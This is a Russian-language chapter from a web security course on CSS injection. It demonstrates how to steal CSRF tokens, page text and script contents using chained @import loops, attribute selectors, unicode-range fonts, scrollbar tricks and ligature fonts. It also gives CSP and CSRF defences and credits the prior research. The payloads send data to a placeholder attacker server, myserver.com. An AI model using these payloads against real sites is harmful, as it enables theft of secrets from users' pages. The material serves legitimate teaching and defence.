Client-Side Fundamental
  • Добро пожаловать
  • Глава 1 - Начало работы с XSS
    • Браузерная модель безопасности
    • Знакомимся с уязвимостью XSS
    • Более глубокое понимание XSS
    • Опасный псевдопротокол javascript
  • Глава 2 - Защита и Обход для XSS
    • Первая линия обороны от XSS - Sanitization
    • Вторая линия обороны от XSS - CSP (Content Security Policy)
    • Третья линия обороны против XSS - сокращение области воздействия
    • Последние методы защиты от XSS - Trusted Types и встроенный Sanitizer API
    • Обход защитных мер - Обычные способы обхода CSP
    • Обход защитных мер - Mutation XSS
    • Самая опасная XSS - Universal XSS
  • Глава 3 - Атаки без JavaScript
    • Кто сказал, что для атаки обязательно выполнять JavaScript?
    • Prototype Pollution - Эксплуатация цепочки прототипов
    • Может ли HTML влиять на JavaScript - Введение в DOM clobbering
    • Template Injection in Frontend - CSTI
    • CSS Injection - Атака с использованием только CSS (Часть 1)
    • CSS Injection - Атака с использованием только CSS (Часть 2)
    • Можно ли атаковать, используя только HTML
  • Глава 4 - Межсайтовые атаки
    • Same-origin Policy и Same-Site
    • Введение в Cross-Origin Resource Sharing (CORS)
    • Проблемы Cross-Origin безопасности
    • Cross-Site Request Forgery (CSRF)
    • Спаситель от CSRF - Same-site cookie
    • От same-site до главного site
    • Интересная и практичная Cookie Bomb
  • Глава 5 - Другие интересные темы
    • То, что вы видите, это не то, что вы получаете - Clickjacking
    • Эксплуатация MIME Sniffing
    • Атаки на цепочку поставок во фронтенде - Attacking Downstream from Upstream
    • Атаки на веб-фронтенд в Web3
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 1)
    • Самая интересная атака на побочные каналы фронтенда - XSLeaks (Часть 2)
Powered by GitBook
On this page
  • Похищение всех символов
  • Кража по одному символу за раз, не слишком ли медленно?
  • Похищение других данных
  • Ultimate Move: ligature + scrollbar
  • Защитные меры
  • Заключение
  1. Глава 3 - Атаки без JavaScript

CSS Injection - Атака с использованием только CSS (Часть 2)

PreviousCSS Injection - Атака с использованием только CSS (Часть 1)NextМожно ли атаковать, используя только HTML

Last updated 8 months ago

В предыдущем посте мы узнали об основных принципах кражи данных с помощью CSS и продемонстрировали это на практическом примере с использованием HackMD, успешно похитив токен CSRF. В этой части мы подробно рассмотрим некоторые детали инъекции CSS и ответим на следующие вопросы:

  1. Поскольку HackMD может загружать новые стили без обновления страницы, как мы можем украсть символы за первым на других сайтах?

  2. Если мы можем украсть только один символ за раз, не займет ли это много времени? Является ли это осуществимым на практике?

  3. Возможно ли украсть что-то кроме атрибутов? Например, текстовое содержимое на странице или даже код JavaScript?

  4. Какие механизмы защиты существуют против этой техники атаки?

Похищение всех символов

В предыдущей части мы упоминали, что данные, которые мы хотим украсть, могут измениться при обновлении (например, токен CSRF), поэтому нам нужно загружать новые стили без обновления страницы.

Причина, по которой мы смогли сделать это в предыдущем посте, заключается в том, что сам HackMD является сервисом, который обеспечивает обновления в реальном времени. Но что насчет обычных веб-страниц? Как нам динамически загружать новые стили без использования JavaScript?

По этому вопросу Pepe Vila дал ответ в своей презентации показанной в 2019 году: .

В CSS вы можете использовать @import для импорта внешних стилей, аналогично import в JavaScript.

Вы можете использовать эту функцию для создания цикла для импорта стилей, как показано в приведенном ниже примере кода:

@import url(https://myserver.com/start?len=8)

Затем сервер отвечает следующим стилем:

@import url(https://myserver.com/payload?len=1);
@import url(https://myserver.com/payload?len=2);
@import url(https://myserver.com/payload?len=3);
@import url(https://myserver.com/payload?len=4);
@import url(https://myserver.com/payload?len=5);
@import url(https://myserver.com/payload?len=6);
@import url(https://myserver.com/payload?len=7);
@import url(https://myserver.com/payload?len=8);

Вот ключ: хотя мы импортируем 8 сразу, сервер будет "висеть" на следующих 7 запросах и не предоставит ответ. Только первый URL https://myserver.com/payload?len=1 вернет ответ, который содержит ранее упомянутый payload для кражи данных:

input[name="secret"][value^="a"] {  
  background: url(https://b.myserver.com/leak?q=a);
}

input[name="secret"][value^="b"] {  
  background: url(https://b.myserver.com/leak?q=b);
}

input[name="secret"][value^="c"] {  
  background: url(https://b.myserver.com/leak?q=c);
}

//....
input[name="secret"][value^="z"] {  
  background: url(https://b.myserver.com/leak?q=z);
}

Когда браузер получает ответ, он загружает приведенный выше сниппет CSS. После загрузки элементы, которые соответствуют условиям, отправляют запросы на backend. Допустим, первый символ - 'd'. Тогда на этом этапе сервер отвечает содержимым https://myserver.com/payload?len=2:

input[name="secret"][value^="da"] {  
  background: url(https://b.myserver.com/leak?q=da);
}

input[name="secret"][value^="db"] {  
  background: url(https://b.myserver.com/leak?q=db);
}

input[name="secret"][value^="dc"] {  
  background: url(https://b.myserver.com/leak?q=dc);
}

//....
input[name="secret"][value^="dz"] {  
  background: url(https://b.myserver.com/leak?q=dz);
}

Этот процесс продолжается, повторяя эти шаги, что позволяет нам отправить все символы на сервер. Это связано с тем, что import будет сначала загружать уже загруженные ресурсы, а затем ждать те, которые еще не были загружены.

Одна важная деталь, которую стоит здесь отметить, - вы заметите, что мы загружаем стили с домена myserver.com, в то время как домен изображения на заднем плане - b.myserver.com. Это потому, что браузеры обычно имеют ограничения на количество запросов, которые они могут одновременно загружать с одного домена. Поэтому, если вы используете только myserver.com, вы обнаружите, что запросы на изображения на заднем плане не проходят, поскольку они блокируются импортом CSS.

Поэтому необходимо настроить два домена, чтобы избежать этой ситуации.

<style>
  @import url(https://myserver.com/payload?len=1);
</style>
<style>
  @import url(https://myserver.com/payload?len=2);
</style>
<style>
  @import url(https://myserver.com/payload?len=3);
</style>
<style>
  @import url(https://myserver.com/payload?len=4);
</style>
<style>
  @import url(https://myserver.com/payload?len=5);
</style>
<style>
  @import url(https://myserver.com/payload?len=6);
</style>
<style>
  @import url(https://myserver.com/payload?len=7);
</style>
<style>
  @import url(https://myserver.com/payload?len=8);
</style>

Этот подход также хорошо работает в Chrome, поэтому, применяя его, вы можете одновременно поддерживать оба браузера.

В общем, используя функцию @import в CSS, мы можем достичь "динамической загрузки новых стилей без перезагрузки страницы" и, таким образом, украсть каждый символ по одному.

Кража по одному символу за раз, не слишком ли медленно?

Если мы хотим выполнить этот тип атаки в реальном мире, нам может потребоваться улучшить эффективность. Возьмем в качестве примера HackMD, токен CSRF состоит из 36 символов, поэтому нам нужно отправить 36 запросов, что довольно много.

На самом деле мы можем украсть по два символа за раз, потому что, как упоминалось в предыдущем разделе, помимо префиксного селектора, есть также суффиксный селектор. Поэтому мы можем сделать это так:

input[name="secret"][value^="a"] {  
  background: url(https://b.myserver.com/leak?q=a);
}

input[name="secret"][value^="b"] {  
  background: url(https://b.myserver.com/leak?q=b);
}

// ...
input[name="secret"][value$="a"] {  
  border-background: url(https://b.myserver2.com/suffix?q=a);
}

input[name="secret"][value$="b"] {  
  border-background: url(https://b.myserver2.com/suffix?q=b);
}

Помимо кражи префикса, мы можем также украсть суффикс, удвоив таким образом эффективность. Важно отметить, что CSS для префикса и суффикса использует разные свойства, одно использует background, а другое - border-background. Это потому, что если мы используем то же самое свойство, содержимое будет перезаписано другими, в результате будет отправлен только один запрос.

Если в содержимом нет много возможных символов, например, 16 символов, мы можем непосредственно украсть по два префикса и два суффикса за один раз. Общее количество правил CSS будет 16*16*2 = 512, что должно быть в пределах приемлемого диапазона и ускорит процесс в два раза.

Помимо этих методов, мы также можем улучшить ситуацию на стороне сервера. Например, использование HTTP/2 или даже HTTP/3 может потенциально ускорить загрузку запросов и повысить эффективность.

Похищение других данных

Кроме кражи свойств, есть ли способ украсть что-то еще? Например, другой текст на странице или даже код внутри скриптов?

Основываясь на принципах, обсуждаемых в предыдущем разделе, это невозможно. Способность к краже свойств обусловлена "селектором атрибутов", который позволяет нам выбирать конкретные элементы. Однако в CSS нет селектора, который мог бы выбрать "содержимое" само по себе.

Поэтому нам нужно более глубокое понимание CSS и стилей на веб-странице, чтобы выполнить эту на первый взгляд невозможную задачу.

unicode-range

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "Ampersand";
        src: local("Times New Roman");
        unicode-range: U+26;
      }

      div {
        font-size: 4em;
        font-family: Ampersand, Helvetica, sans-serif;
      }
    </style>
    <div>Me & You = Us</div>
  </body>
</html>

Юникод для & - это U+0026, поэтому только символ & будет отображаться в другом шрифте, а остальные будут использовать тот же шрифт.

Разработчики могли уже использовать эту технику, например, для отображения английского и китайского с использованием разных шрифтов. Эта техника также может быть использована для кражи текста на странице, вот так:

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "f1";
        src: url(https://myserver.com?q=1);
        unicode-range: U+31;
      }

      @font-face {
        font-family: "f2";
        src: url(https://myserver.com?q=2);
        unicode-range: U+32;
      }

      @font-face {
        font-family: "f3";
        src: url(https://myserver.com?q=3);
        unicode-range: U+33;
      }

      @font-face {
        font-family: "fa";
        src: url(https://myserver.com?q=a);
        unicode-range: U+61;
      }

      @font-face {
        font-family: "fb";
        src: url(https://myserver.com?q=b);
        unicode-range: U+62;
      }

      @font-face {
        font-family: "fc";
        src: url(https://myserver.com?q=c);
        unicode-range: U+63;
      }

      div {
        font-size: 4em;
        font-family: f1, f2, f3, fa, fb, fc;
      }
    </style>
    Secret: <div>ca31a</div>
  </body>
</html>

Если вы проверите вкладку сеть, вы увидите, что было отправлено 4 запроса:

С помощью этой техники мы можем определить, что на странице есть четыре символа: 13ac.

Однако эта техника имеет свои ограничения:

  1. Мы не знаем порядок символов.

  2. Мы не знаем, есть ли повторяющиеся символы.

Но мысль о том, как украсть символы с точки зрения "загрузки шрифтов", предоставила многим людям новый способ мышления и привела к разработке различных других методов.

Font height difference + first-line + scrollbar

Цель этой техники - решить проблему, с которой мы столкнулись в предыдущей технике: "не зная порядок символов". Это сочетание многих деталей и оно включает в себя несколько шагов, так что здесь стоит быть внимательным.

Во-первых, мы на самом деле можем украсть символы с использованием встроенных шрифтов без загрузки внешних шрифтов. Как мы можем это сделать? Нам нужно найти два набора встроенных шрифтов с разной высотой.

Например, существует шрифт по имени "Comic Sans MS", который имеет большую высоту, чем другой шрифт под названием "Courier New."

Скажем, стандартная высота шрифта составляет 30px, а Comic Sans MS - 45px. Теперь, если мы установим высоту контейнера текста на 40px и загрузим шрифт, вот так:

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src: local('Comic Sans MS');
        font-style: monospace;
        unicode-range: U+41;
      }

      div {
        font-size: 30px;
        height: 40px;
        width: 100px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }
    </style>
    Secret: <div>DBC</div>
    <div>ABC</div>
  </body>
</html>

Мы увидим разницу на экране:

Ясно, что символ A имеет высоту, большую, чем у других символов. Согласно нашим настройкам CSS, если высота содержимого превышает высоту контейнера, появится полоса прокрутки. Хотя это может быть не видно на снимке экрана выше, у ABC ниже есть полоса прокрутки, тогда как у DBC выше ее нет.

Более того, мы можем установить внешний фон для полосы прокрутки:

div::-webkit-scrollbar {  
  background: blue;
}

div::-webkit-scrollbar:vertical {  
  background: url(https://myserver.com?q=a);
}

Это означает, что если появится полоса прокрутки, наш сервер получит запрос. Если полоса прокрутки не появится, запроса не будет.

Кроме того, когда я применяю шрифт fa к div, если символ A появится на экране, будет полоса прокрутки, и сервер получит запрос. Если символ A не появится на экране, ничего не произойдет.

Таким образом, если мы многократно загружаем разные шрифты, сервер может знать, какие символы отображаются на экране, что аналогично тому, что мы достигли с помощью unicode-range.

Так как же мы решаем проблему порядка?

<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src: local('Comic Sans MS');
        font-style: monospace;
        unicode-range: U+41;
      }

      div {
        font-size: 0px;
        height: 40px;
        width: 20px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }

      div::first-line {
        font-size: 30px;
      }
    </style>
    Secret: <div>CBAD</div>
  </body>
</html>

На экране будет виден только символ "C". Это происходит потому, что мы устанавливаем размер шрифта всех символов на 0, используя font-size: 0px, и затем корректируем размер шрифта первой строки до 30px, используя div::first-line. Иными словами, видными будут только символы первой строки, а так как ширина div всего 20px, отобразится только первый символ.

Далее мы можем использовать только что изученный прием для загрузки разных шрифтов. Когда я загружаю шрифт "fa", поскольку символ "A" не отображается на экране, никаких изменений не произойдет. Но когда я загружаю шрифт "fc", поскольку символ "C" отображается на экране, он будет отображен с использованием Comic Sans MS, что увеличит высоту и вызовет появление полосы прокрутки. Затем мы можем использовать это для отправки запроса, вот так:

div {  
  font-size: 0px;  
  height: 40px;  
  width: 20px;  
  font-family: fc, "Courier New";  
  letter-spacing: 0px;  
  word-break: break-all;  
  overflow-y: auto;  
  overflow-x: hidden;  
  --leak: url(http://myserver.com?C);
}

div::first-line {  
  font-size: 30px;
}

div::-webkit-scrollbar {  
  background: blue;
}

div::-webkit-scrollbar:vertical {  
  background: var(--leak);
}

Итак, как нам продолжать использовать новые шрифты? Для этого мы можно воспользоваться CSS-анимацией. Можно постоянно загружать разные шрифты и задавать разные переменные --leak с помощью CSS-анимации.

Таким образом, мы можем узнать, что это за первый символ на экране.

Как только мы узнаем первый символ, можно увеличить ширину div, например, до 40px, чтобы он мог вместить два символа. То есть первая строка будет состоять из первых двух символов. Затем можно загружать разные семейства шрифтов тем же способом, чтобы просочиться до второго символа. Детальный процесс таков:

  1. Предположим, что символы на экране - "ACB".

  2. Скорректировать ширину до 20px, и только первый символ "A" появится на первой линии.

  3. Загрузить шрифт "fa", так что "A" будет отображаться с более крупным размером шрифта, что вызовет появление полосы прокрутки. Загрузить фон полосы прокрутки и отправить запрос на сервер.

  4. Загрузить шрифт "fb", но поскольку "B" не отображается на экране, никаких изменений не произойдет.

  5. Загрузить шрифт "fc", но так как "C" не отображается на экране, никаких изменений не произойдет.

  6. Скорректировать ширину до 40px, и первая строка будет отображать первые два символа "AC".

  7. Загрузить шрифт "fa" снова, так что "A" будет отображаться с более крупным размером шрифта, что вызовет появление полосы прокрутки. Но на этом этапе фон уже загружен, так что новый запрос не будет отправлен.

  8. Загрузить шрифт "fb", "B" будет отображаться с более крупным размером шрифта, провоцируя появление полосы прокрутки. Загрузить фон полосы прокрутки.

  9. Загрузите шрифт "fc", "C" будет отображаться с более крупным размером шрифта, но поскольку однажды фон уже загружен, запрос не будет отправлен.

  10. Скорректировать ширину до 60px, и все три символа "ACB" появятся на первой линии.

  11. Загрузить шрифт "fa" снова, как в шаге 7.

  12. Загрузить шрифт "fb", "B" будет отображаться с более большим размером шрифта, вызывая появление полосы прокрутки. Загрузите фон полосы прокрутки.

  13. Загрузить шрифт "fc" снова, "C" будет отображаться с более большим размером шрифта, но поскольку фон уже загружен, запрос не будет отправлен.

  14. Конец.

Из вышеприведенного процесса мы видим, что сервер получит три запроса в порядке A, C, B, что представляет собой порядок символов на экране. Изменение ширины и семейства шрифтов непрерывно может быть достигнуто с помощью CSS-анимации.

Хотя это решение и решает проблему "неизвестности порядка символов", оно по-прежнему не может решить проблему дублирования символов, потому что повторяющиеся символы не вызывают новые запросы.

Ultimate Move: ligature + scrollbar

Коротко говоря, этот ход может решить все вышеупомянутые проблемы и позволит "узнать порядок символов и повторяющиеся символы", что позволяет нам украсть полный текст.

Так как это помогает нам?

Мы можем создать уникальный шрифт сами, где мы устанавливаем ab как лигатуру и отрисовываем его как элемент с очень большой шириной. Затем устанавливаем ширину определенного div с фиксированным значением и сочетаем его с трюком полосы прокрутки, о котором мы упоминали ранее: "Если "ab" появляется, он станет очень широким, что вызовет появление полосы прокрутки, и мы можем загрузить запрос, чтобы сообщить серверу; если его нет, полоса прокрутки не появится, и ничего не произойдет."

Процесс таков, предполагая, что на экране символы "acc":

  1. Загрузить шрифт с лигатурой "aa", ничего не происходит.

  2. Загрузить шрифт с лигатурой "ab", ничего не происходит.

  3. Загрузить шрифт с лигатурой "ac". Успешно отрендерить огромный экран, появляется полоса прокрутки, загрузить изображения с сервера.

  4. Сервер знает, что "ac" находится на экране.

  5. Загрузить шрифт с лигатурой "aca", ничего не происходит.

  6. Загрузить шрифт с лигатурой "acb", ничего не происходит.

  7. Загрузить шрифт с лигатурой "acc". Успешно отрендерить, появляется полоса прокрутки, отправить результат на сервер.

  8. Сервер знает, что "acc" на экране.

Сочетая лигатуры с полосой прокрутки, мы можем медленно получать все символы на экране, даже код JavaScript!

Вы знали, что содержимое скрипта может быть отображено на экране?

head, script {  display: block;}

Добавив этот CSS, содержимое скрипта может быть отображено на экране, поэтому мы также можем использовать ту же технику для кражи содержимого скрипта!

Упрощенная демонстрация, чтобы показать, что это возможно.

<!DOCTYPE html>
<html lang="en">
  <body>
    <script>
      var secret = "abc123";
    </script>
    <hr>
    <script>
      var secret2 = "cba321";
    </script>
    <svg>
      <defs>
        <font horiz-adv-x="0">
          <font-face font-family="hack" units-per-em="1000" />
          <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
        </font>
      </defs>
    </svg>
    <style>
      script {
        display: block;
        font-family: "hack";
        white-space: nowrap;
        overflow-x: auto;
        width: 500px;
        background: lightblue;
      }

      script::-webkit-scrollbar {
        background: blue;
      }
    </style>
  </body>
</html>

Я добавил два отрезка кода JavaScript в скрипт. Содержимым являются var secret = "abc123" и var secret2 = "cba321". Затем, используя CSS, я загружаю подготовленный шрифт. Всякий раз, когда есть лигатура с "a, ширина становится чрезмерной.

Затем, если появляется полоса прокрутки, я устанавливаю фон в синий цвет для лучшей видимости. Финальный результат выглядит следующим образом:

Выше, поскольку содержимое состоит из var secret = "abc123", оно соответствует лигатуре "a, так что ширина становится шире, и появляется полоса прокрутки.

Ниже, поскольку нет "a, полоса прокрутки не появляется (места с "a" - это отсутствующие символы, что, вероятно, связано с тем, что не были определены другие глифы, но это не влияет на результат).

Изменяя фон полосы прокрутки на URL, мы можем знать результат утечки с сервера.

Если вы хотите увидеть фактическую демонстрацию и реализацию на стороне сервера, вы можете обратиться к двум упомянутым выше статьям.

Защитные меры

Наконец, давайте поговорим о мерах защиты. Самый простой и прямой способ - это просто отключить использование стилей, что в основном устранит проблему инъекции CSS (если не считать случаев с уязвимостями в реализации).

Если вы действительно хотите разрешить стили, вы также можете использовать CSP для блокировки загрузки определенных ресурсов. Например, font-src не нужно полностью открывать, а style-src также можно задать в виде списка разрешений для блокировки синтаксиса @import.

Кроме того, вы также можете рассмотреть, что произойдет, если что-то на странице будут украдено. Например, если CSRF-токен взят, наихудший сценарий - это CSRF. В этот момент вы можете реализовать защиту от CSRF, даже если злоумышленник получает CSRF-токен, они не смогут выполнить CSRF (например, проверяя заголовок происхождения).

Заключение

CSS велик.

Эти две статьи главным образом представляют технику атаки инъекции CSS, поэтому здесь мало фактического кода. Эти техники атаки все заимствованы из статей предшественников, и я их перечислю ниже. Если вам интересно, вы можете прочитать оригинальные статьи, которые предоставят более подробные объяснения.

Ссылки:

Кроме того, вышеупомянутый метод не работает в Firefox. Даже если ответ на первый запрос приходит, Firefox не обновляет стили сразу. Он ждет, пока все запросы не будут выполнены, прежде чем обновиться. Для решения этой проблемы вы можете обратиться к этой статье автора Michał Bentkowski: . Удалите первый шаг импорта и оберните каждый импорт символов в дополнительные стили, как это:

В CSS есть свойство, называемое "unicode-range", которое позволяет нам загружать разные шрифты для разных символов. Вот пример, взятый с :

Мы можем сначала уменьшить ширину div, чтобы отобразить только один символ, так что другие символы будут размещены на второй строке. Затем мы можем использовать селектор для того, чтобы специально настроить стиль для первой строки, подобно следующему:

Этот сложный, но гениальный способ был придуман не мной, а пользователями @cgvwzq и @terjanq. Если вы хотите увидеть оригинальную демонстрацию, вы можете посетить эту веб-страницу (источник: ):

Прежде чем понять, как это сделать, нам нужно знать термин лигатура. В некоторых шрифтах определенные комбинации символов отображаются как связанные формы, как показано на картинке ниже (источник: ):

На практике вы можете использовать SVG с другими инструментами для быстрого создания шрифтов на сервере. Если вы хотите увидеть детали и связанный код, вы можете обратиться к статье Michał Bentkowski's:

Masato Kinugawa также создал версию демо для Safari. Поскольку Safari поддерживает шрифты SVG, нет необходимости генерировать шрифты с сервера. Оригинальная статья находится здесь:

CSS Injection Attacks
@import
CSS data exfiltration in Firefox via a single injection point
MDN
::first-line
What can we do with single CSS injection?
https://demo.vwzq.net/css2.html
wikipedia
Stealing Data in Great style – How to Use CSS to Attack Web Application.
Data Exfiltration via CSS + SVG Font - PoC (Safari only)
CSS Injection Attacks
CSS Injection Primitives
HackTricks - CSS Injection
Stealing Data in Great style – How to Use CSS to Attack Web Application.
Data Exfiltration via CSS + SVG Font
Data Exfiltration via CSS + SVG Font - PoC (Safari only)
CSS data exfiltration in Firefox via a single injection point